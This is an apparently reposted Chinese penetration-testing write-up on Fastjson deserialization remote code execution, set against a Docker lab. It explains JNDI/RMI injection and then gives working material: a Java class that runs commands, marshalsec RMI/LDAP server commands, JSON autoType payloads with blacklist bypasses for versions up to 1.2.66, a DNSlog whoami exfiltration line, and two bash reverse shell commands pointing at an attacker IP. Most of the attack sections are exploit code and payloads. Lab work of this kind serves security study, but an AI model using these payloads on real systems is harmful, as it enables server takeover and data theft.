Fastjson远程命令执行漏洞总结

news2024/12/23 2:31:19

## 1.FastJson 简介 ##### fastjson.jar包原始下载地址:https://github.com/alibaba/fastjson ##### fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBea...

1.FastJson 简介

fastjson.jar包原始下载地址:GitHub - alibaba/fastjson: FASTJSON 2.0.x has been released, faster and more secure, recommend you upgrade.
fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。除了这个fastjson以外,还有Google开发的Gson包,其他形式的如net.sf.json包,都可以实现json的转换。方法名称不同而已,最后的实现结果都是一样的。
将json字符串转化为json对象
在net.sf.json中是这么做的
JSONObject obj = new JSONObject().fromObject(jsonStr);//将json字符串转换为json对象
在fastjson中是这么做的
JSONObject obj=JSON.parseObject(jsonStr);//将json字符串转换为json对象

1.1 JNDI

JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一。JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI再局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
JNDi是应用程序设计的Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:
DNS、LDAP、CORBA对象服务、RMI

1.2 利用JNDI References进行注入

对于这个知识点,我们需要先了解RMI的作用。
首先RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。RMI服务端可以直接绑定远程调用的对象以外,还可通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例。
服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
 public static void main(String args[]) throws Exception {
 Registry registry = LocateRegistry.createRegistry(1099);
 // Reference需要传入三个参数(className,factory,factoryLocation)
 // 第一个参数随意填写即可,第二个参数填写我们http服务下的类名,第三个参数填写我们的远程地址
 Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/");
 // ReferenceWrapper包裹Reference类,使其能够通过RMI进行远程访问
 ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
 registry.bind("refObj", refObjWrapper);
 }
}
从ReferenceWrapper源码可以看出,该类继承自UnicastRemoteObject,实现对Reference的包裹,使其能够通过RMI进行远程访问

image-20210804141109158

客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
 public static void main(String[] args) throws Exception{
 try {
 Context ctx = new InitialContext();
 ctx.lookup("rmi://localhost:8000/refObj");
 }
 catch (NamingException e) {
 e.printStackTrace();
 }
 }
}
如果我们可以控制JNDI客户端中传入的url,就可以起一个恶意的RMI,让JNDI来加载我们的恶意类从而进行命令执行。
我们来看一下References,References类有两个属性,className和codebase url,className就是远程引用的类名,codebase决定了我们远程类的位置,当本地classpath中没有找到对应的类的时候,就会去请求codebase地址下的类(codebase支持http协议),此时如果我们将codebase地址下的类换成我们的恶意类,就能让客户端执行。
ps:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能够从指定codebase中下载字节码。
整个利用流程如下
1.首先开启HTTP服务器,并将我们的恶意类放在目录下
2.开启恶意RMI服务器
3.攻击者控制url参数为上一步开启的恶意RMI服务器地址
4.恶意RMI服务器返回ReferenceWrapper类
5.目标(JNDI_Client)在执行lookup操作的时候,在decodeObject中将ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码

2.FastJson渗透总结

1.反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
2.RMI是一种行为,指的是Java远程方法调用。
3.JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
4.ldap指轻量级目录服务协议。
存在Java版本限制:
基于rmi的利用方式:适用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前;
在jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码。
基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。
可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

2.1 fastjson 1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)

漏洞原理

FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
通俗理解就是:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。

影响版本

Fastjson < 1.2.25

漏洞启动

靶机:Ubuntu ip:192.168.9.234 攻击机:kali ip:192.168.10.65
开启fastjson漏洞
docker-compose up -d
docker ps

image-20210804163348849

image-20210804163522449

访问靶机,可以看见json格式的输出:

image-20210804164805326

因为是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。
在kali上执行下面这条命令,使用 curl命令模拟json格式的POST请求,返回json格式的请求结果,没报404,正常情况下说明存在该漏洞。
curl http://192.168.9.234:8090/ -H "Content-Type: application/json" --data '{"name":"zcc", "age":18}'

kali安装Javac环境,这里我已经安装好了
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

image-20210804172742770

编译恶意类代码
import java.lang.Runtime;
import java.lang.Process;
public class zcc{
 static {
 try {
 Runtime rt = Runtime.getRuntime();
 String[] commands = {"touch", "/tmp/zcctest"};
 Process pc = rt.exec(commands);
 pc.waitFor();
 } catch (Exception e) {
 // do nothing
 }
 }
}

image-20210805103801452

image-20210805103821601

javac zcc.java

image-20210805103953999

搭建http服务传输恶意文件
python -m SimpleHTTPServer 80

image-20210805104207532

编译并开启RMI服务:
>1 下载marshalsec(我这里已经安装好):
git clone https://github.com/mbechler/marshalsec.git
>2 然后安装maven:
apt-get install maven

image-20210805105045684

>3 然后使用maven编译marshalsec成jar包,我们先进入下载的marshalsec文件中运行:
mvn clean package -DskipTests

image-20210805120544313

image-20210805121146678

>4 然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,这里的ip为你上面开启http服务的ip,我们这里就是kali的ip:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.65/#zcc" 9999
这里如果要启动LDAP服务的话,只需把上面命令中的RMI改成LDAP即可,例如:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.10.65/#zcc" 9999

image-20210805121711259

可以看见请求成功,并加载了恶意类。
>5 使用BP抓包,并写入poc(记住请求包里面请求方式改成post,Content-Type改成application/json):
{
 "b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://192.168.10.65:9999/zcc",
 "autoCommit":true
 }
}

image-20210805122124987

image-20210805123008912

image-20210805123021956

image-20210805123053360

可以看见成功写入。
这里我们用dnslog做一个小测试:
http://www.dnslog.cn/
直接覆盖原来得文件;
"/bin/sh","-c","ping user.'whoami'.jeejay.dnslog.cn"

image-20210805124525496

image-20210805124643803

点击send发送之后成功回显

image-20210805124754620

反弹shell的话也只需修改恶意类中commands的内容即可,代码参考如下,建议用第二个,第二个前面带主机名,看起来舒服点,我这里用的第一个;
"/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.65/8899;cat <&5 | while read line; do $line 2>&5 >&5; done"
或者
"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.10.65/1234 0>&1"

image-20210805125319382

image-20210805125947213

2.2 Fastjson 1.2.47远程命令执行漏洞

漏洞原理

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

影响版本

Fastjson < 1.2.47

漏洞启动

image-20210805133152381

image-20210805133312714

因为目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以利用RMI进行命令执行。

image-20210805133834236

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class zcc {
 static {
 try {
 Runtime rt = Runtime.getRuntime();
 String[] commands = {"touch", "/tmp/zcctest111"};
 Process pc = rt.exec(commands);
 pc.waitFor();
 } catch (Exception e) {
 // do nothing
 }
 }
}

image-20210805134407703

开启http服务
python -m SimpleHTTPServer 8080 

借助marshalsec项目启动RMI服务器,监听9998端口,并制定加载远程类zcc.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.65/#zcc" 9999

发送payload,别忘了改Content-Type: application/json,可以看见成功写入,反弹shell的手段和上面1.2.24的一样:
{
 "a":{
 "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl"
 },
 "b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://192.168.10.65:9999/zcc",
 "autoCommit":true
 }
}

image-20210805145437569

image-20210805145813087

反弹shell;
"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.10.65/8899 0>&1"

image-20210805151645242

2.3 fastjson<=1.2.41漏洞详情

第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。
exp:
{           
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName":"rmi://x.x.x.x:9999/rce_1_2_24_exploit",
    "autoCommit":true
}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

2.4 fastjson<=1.2.42漏洞详情

fastjson在1.2.42版本新增了校验机制。如果输入类名的开头和结尾是L和;就将头尾去掉再进行黑名单校验。绕过方法:在类名外部嵌套两层L和;。
原类名:com.sun.rowset.JdbcRowSetImpl
绕过:LLcom.sun.rowset.JdbcRowSetImpl;;
exp:
{           
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"rmi://x.x.x.x:9999/exp",
    "autoCommit":true
}
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

2.5 fastjson<=1.2.45漏洞详情

前提条件:目标服务器存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
使用黑名单绕过,org.apache.ibatis.datasource在1.2.46版本被加入了黑名单。
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

2.6 fastjson<=1.2.47漏洞详情

对版本小于1.2.48的版本通杀,autoType为关闭状态也可用。loadClass中默认cache为true,利用分2步,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,绕过了黑名单机制。
exp:
{
 "a": {
 "@type": "java.lang.Class", 
 "val": "com.sun.rowset.JdbcRowSetImpl"
 }, 
 "b": {
 "@type": "com.sun.rowset.JdbcRowSetImpl", 
 "dataSourceName": "rmi://x.x.x.x:9999/exp", 
 "autoCommit": true
 }
}

2.7 fastjson<=1.2.62漏洞详情

基于黑名单绕过exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";

2.8 fastjson<=1.2.66漏洞详情

也是基于黑名单绕过,autoTypeSupport属性为true才能使用,(fastjson>=1.2.25默认为false)以下是几个exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransacti
on":"ldap://192.168.80.1:1389/Calc"}}

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/796632.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

设计模式-模版方法模式

生活中处处存在模版&#xff0c;模版定义了大的框架&#xff0c;具体内容由使用者填充即可&#xff0c;这给很多人的生活、工作带来了很大的遍历。比如&#xff1a; PPT模版&#xff1a;好的PPT模版提供了更全面的叙述框架&#xff0c;更优美的UI画面&图标&#xff0c;提升…

算法训练营第五十一天||309.最佳买卖股票时机含冷冻期 ● 714.买卖股票的最佳时机含手续费 ●总结

309.最佳买卖股票时机含冷冻期 这道题主要就是搞懂dp数组含义以及状态之间的转换&#xff0c;没看答案能自己做出来 class Solution { public:int maxProfit(vector<int>& prices) {vector<vector<int>> dp(prices.size(),vector<int>(5,0));//前…

jMeter使用随记

参数化BodyData 先制作参数文件 再设置一个csv data set config 最后在body data里面写上参数${xxxxx}

【外卖系统】更新员工信息

需求分析 员工管理列表界面&#xff0c;需要对某个员工的账号进行启用和禁用操作。账号禁用的员工不能登录系统&#xff0c;启用后的员工可以正常登录。只有admin可以对其他普通用户进行启用、禁用的操作&#xff0c;普通用户登录系统后启动、禁用按钮都是不显示的编辑员工信息…

家庭有必要买洗地机吗、洗地机排行榜推荐

洗地机相信大家都认识吧&#xff0c;在清洁家电领域这可谓是个“名人”。在清洁工具的名单中&#xff0c;要说一机多用&#xff0c;使用体验好的&#xff0c;洗地机绝对名列前茅。和传统清洁工具相比&#xff0c;洗地机可以很快速的就清洁干净地面&#xff0c;十多分钟就能还你…

数据库—用户权限管理(三十三)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、概述 二、用户权限类型 ​三、用户赋权 四、权限删除 五、用户删除 前言 数据库用户权限管理是指对数据库用户的权限进行控制和管理&#xff0c;确保用户只能执…

探究Spring Bean的六种作用域:了解适用场景和使用方式

这里写目录标题 单例&#xff08;Singleton&#xff09;作用域&#xff1a;原型&#xff08;Prototype&#xff09;作用域&#xff1a;请求&#xff08;Request&#xff09;作用域&#xff1a;会话&#xff08;Session&#xff09;作用域&#xff1a;全局&#xff08;applicati…

【一文搞懂】—带霍尔编码器的直流有刷减速电机

文章目录 一、直流有刷电机二、减速比三、霍尔编码器3.1 霍尔编码器3.2 霍尔编码器测速原理 四、测速程序设计4.1 跳变沿检测4.2 计算转速 一、直流有刷电机 宏观上说直流有刷电机由固定部分&#xff08;定子&#xff09;和旋转部分&#xff08;转子&#xff09;组成。在定子上…

Web Worker的概念、用法、使用场景

​ 目录 1. 简介 2. 适用场景 2.1 复杂计算 2.2 后台下载 2.3 数据处理 2.4 实时通信 3. 代码示例 3.1 Worker特性检测 3.2 Worker API 3.3 SharedWorker API 3.4 创建 JavaScript 文件 3.5 创建 Web Worker 4. 总结 1. 简介 Web Worker 使得在一个独立于 Web 应…

2023-07-27 LeetCode每日一题(删除每行中的最大值)

2023-07-27每日一题 一、题目编号 2500. 删除每行中的最大值二、题目链接 点击跳转到题目位置 三、题目描述 给你一个 m x n 大小的矩阵 grid &#xff0c;由若干正整数组成。 执行下述操作&#xff0c;直到 grid 变为空矩阵&#xff1a; 从每一行删除值最大的元素。如果…

VS2022和QT混合编程打包发布程序

1.在开始菜单输入 CMD 找到 Qt5.15.2(MSVC 64-bit) 2.输入windeployqt exe所在路径 3.运行完毕后&#xff0c;双击打开exe文件&#xff0c;可能会报错&#xff0c;缺少相关的dll,找到缺少的dll拷贝到运行文件夹下即可。

数字化管理能给企业带来哪些好处?

企业数字化管理&#xff08;EDM&#xff09;是指使用数字技术和工具来管理企业运营和流程的各个方面。如果有效实施&#xff0c;EDM 可以给企业带来多种好处&#xff0c;提高企业的整体效率、生产力和竞争力。以下是一些主要优点&#xff1a; 1.提高效率&#xff1a;EDM 通过自…

参数自定义配置比例阀放大器

模拟指令输入比例阀放大器通常使用模拟信号来控制其输出&#xff0c;例如10V, 0~5V,0~10V,4~20mA模拟量信号。它可以将输入的模拟信号放大并转换为一个与输入信号成正比的输出信号&#xff0c;从而实现对执行机构的位置或速度控制。 适配各种不带位置反馈比例阀的控制&#xf…

Python 并发编程 Futures

文章目录 说明1. 并发与并行2. Futures 模块2.1 顺序执行2.2 并发执行2.3 并行执行2.4 Executor 对象 3. 全局解释器锁3.1 为什么有 GIL3.2 GIL 工作过程3.3 线程安全 后记 说明 编程中如果能合理利用编程语言的并发编程技巧&#xff0c;都可以极大提升程序的性能。在 Python …

手把手教你激活虹科物联网HMI/网关数据库功能

前言 JMobile Studio 4.5的更新使得虹科物联网HMI/网关可以本地支持MySQL、PostgreSQL以及支持ODBC驱动连接的数据库&#xff0c;实现设备数据的存储&#xff0c;方便企业数据的统筹管理。 因此&#xff0c;本文主要介绍如何激活虹科物联网HMI/网关的数据库功能。 操作步骤 …

淘宝订单截图生成器网页版制作

你是否曾经为手动制作淘宝订单截图而烦恼&#xff1f;现在&#xff0c;有了淘宝订单生成器&#xff0c;这一切都变得轻松起来。 作为一款专为淘宝购物爱好者打造的神器&#xff0c;淘宝订单生成器可以轻松帮你生成美观的订单截图&#xff0c;让你的朋友们羡慕不已。不再需要手…

临床数据 4. 肿瘤克隆进化分析结果解读?

临床数据分析方案 桓峰基因公众号推出临床数据分析方案&#xff0c;整理如下&#xff1a; 临床数据 1. 临床基因突变数据如何发高分&#xff1f; 临床数据 2. 基于NGS的胃癌诊疗全过程的临床应用方案 临床数据 3. 肿瘤微小残留病灶(MRD)如何发文章&#xff1f; 克隆进化生信分析…

【雕爷学编程】Arduino动手做(93)--- 0.96寸OLED液晶屏模块11

37款传感器与执行器的提法&#xff0c;在网络上广泛流传&#xff0c;其实Arduino能够兼容的传感器模块肯定是不止这37种的。鉴于本人手头积累了一些传感器和执行器模块&#xff0c;依照实践出真知&#xff08;一定要动手做&#xff09;的理念&#xff0c;以学习和交流为目的&am…

UI设计工具都有哪些好用的推荐?

对于UI设计的初学者来说&#xff0c;掌握一个实用且易于使用的界面UI软件是非常重要的。今天&#xff0c;我整理了四个易于使用的界面UI软件。让我们看看。 即时设计 即时设计是一款免费的在线 UI 设计工具&#xff0c;无系统限制&#xff0c;浏览器打开即可使用&#xff0c;…

gin框架内容(二)

上一篇过于gin的内容 https://mp.csdn.net/mp_blog/creation/editor/131953861 CSDNhttps://mp.csdn.net/mp_blog/creation/editor/131953861 一、路由组 为了管理具有相同前缀的URL, 将拥有URL共同前缀的路由划分为一组 为了代码的阅读性&#xff0c;使用{}包裹相同组的路由…